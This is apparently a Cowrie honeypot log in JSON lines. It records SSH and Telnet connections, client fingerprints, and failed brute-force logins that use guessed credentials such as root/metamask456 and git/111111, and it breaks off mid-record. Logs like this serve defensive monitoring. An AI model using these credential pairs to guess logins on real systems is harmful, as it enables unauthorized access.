{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":40978,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5481c1628c9","protocol":"ssh","message":"New connection: 199.192.25.149:40978 (10.17.0.5:22) [session: d5481c1628c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:05.059997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:05.064961Z","src_ip":"199.192.25.149","session":"d5481c1628c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:05.125395Z","src_ip":"199.192.25.149","session":"d5481c1628c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"metamask456","message":"login attempt [root/metamask456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:05.308233Z","src_ip":"199.192.25.149","session":"d5481c1628c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:06.371848Z","src_ip":"199.192.25.149","session":"d5481c1628c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00298595428467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:07.797792Z","src_ip":"170.64.224.25","session":"dba605ecbb79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:14.232850Z","src_ip":"8.210.75.243","session":"a1c17b44eb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":35746,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6d7d12b4405","protocol":"ssh","message":"New connection: 152.200.205.179:35746 (10.17.0.5:22) [session: d6d7d12b4405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:26.413153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:26.417061Z","src_ip":"152.200.205.179","session":"d6d7d12b4405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:26.511955Z","src_ip":"152.200.205.179","session":"d6d7d12b4405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd...","message":"login attempt [root/P@ssw0rd...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:26.911622Z","src_ip":"152.200.205.179","session":"d6d7d12b4405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:28.005678Z","src_ip":"152.200.205.179","session":"d6d7d12b4405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:42.665167Z","src_ip":"8.210.75.243","session":"68742945a721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.116.157.219","src_port":38522,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4b25dd1b6a","protocol":"telnet","message":"New connection: 46.116.157.219:38522 (10.17.0.5:23) [session: 5c4b25dd1b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:44.083189Z"}
{"eventid":"cowrie.session.closed","duration":51.4591281414032,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:54.692546Z","src_ip":"170.64.224.25","session":"019d440c1385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.371537208557129,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:56.454606Z","src_ip":"46.116.157.219","session":"5c4b25dd1b6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":40598,"dst_ip":"10.17.0.5","dst_port":22,"session":"683d2fff6373","protocol":"ssh","message":"New connection: 122.176.122.24:40598 (10.17.0.5:22) [session: 683d2fff6373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:58.781691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:58.785357Z","src_ip":"122.176.122.24","session":"683d2fff6373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:03:59.051172Z","src_ip":"122.176.122.24","session":"683d2fff6373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aqua","message":"login attempt [root/aqua] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:00.143823Z","src_ip":"122.176.122.24","session":"683d2fff6373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":42774,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9c061517691","protocol":"ssh","message":"New connection: 91.92.40.4:42774 (10.17.0.5:22) [session: d9c061517691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:00.847360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:00.851274Z","src_ip":"91.92.40.4","session":"d9c061517691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:00.932500Z","src_ip":"91.92.40.4","session":"d9c061517691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"111111","message":"login attempt [git/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:01.178353Z","src_ip":"91.92.40.4","session":"d9c061517691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:01.417145Z","src_ip":"122.176.122.24","session":"683d2fff6373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:02.261837Z","src_ip":"91.92.40.4","session":"d9c061517691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:03.014911Z","src_ip":"8.210.75.243","session":"e217f3bfc7c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:11.463319Z","src_ip":"8.210.75.243","session":"0efd95a4feb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"71.9","message":"Connection lost after 71.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:12.750024Z","src_ip":"8.210.75.243","session":"0efd95a4feb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":31636,"dst_ip":"10.17.0.5","dst_port":22,"session":"062c58f4fb76","protocol":"ssh","message":"New connection: 123.58.213.128:31636 (10.17.0.5:22) [session: 062c58f4fb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:14.710105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:14.715907Z","src_ip":"123.58.213.128","session":"062c58f4fb76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:14.937664Z","src_ip":"123.58.213.128","session":"062c58f4fb76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46628,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc1dfb834e30","protocol":"telnet","message":"New connection: 107.6.151.170:46628 (159.203.135.109:23) [session: fc1dfb834e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:15.688341Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"liuqi123","message":"login attempt [root/liuqi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:15.805800Z","src_ip":"123.58.213.128","session":"062c58f4fb76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:17.036031Z","src_ip":"123.58.213.128","session":"062c58f4fb76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":34578,"dst_ip":"159.203.135.109","dst_port":22,"session":"e570b02387a3","protocol":"ssh","message":"New connection: 159.65.58.200:34578 (159.203.135.109:22) [session: e570b02387a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:24.897735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:25.334954Z","src_ip":"159.65.58.200","session":"e570b02387a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:25.338655Z","src_ip":"159.65.58.200","session":"e570b02387a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":35094,"dst_ip":"10.17.0.5","dst_port":22,"session":"f04254156caf","protocol":"ssh","message":"New connection: 105.27.148.94:35094 (10.17.0.5:22) [session: f04254156caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:26.145363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:26.148636Z","src_ip":"105.27.148.94","session":"f04254156caf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:26.358538Z","src_ip":"105.27.148.94","session":"f04254156caf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv1111","message":"login attempt [root/Zxcv1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:27.235376Z","src_ip":"105.27.148.94","session":"f04254156caf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"selunin","password":"","message":"login attempt [selunin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:27.520929Z","src_ip":"159.65.58.200","session":"e570b02387a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:28.449126Z","src_ip":"105.27.148.94","session":"f04254156caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:29.115956Z","src_ip":"159.65.58.200","session":"e570b02387a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":53910,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfba5ebe0832","protocol":"ssh","message":"New connection: 81.192.46.32:53910 (10.17.0.5:22) [session: dfba5ebe0832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:32.202928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:04:32.205421Z","src_ip":"81.192.46.32","session":"dfba5ebe0832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@op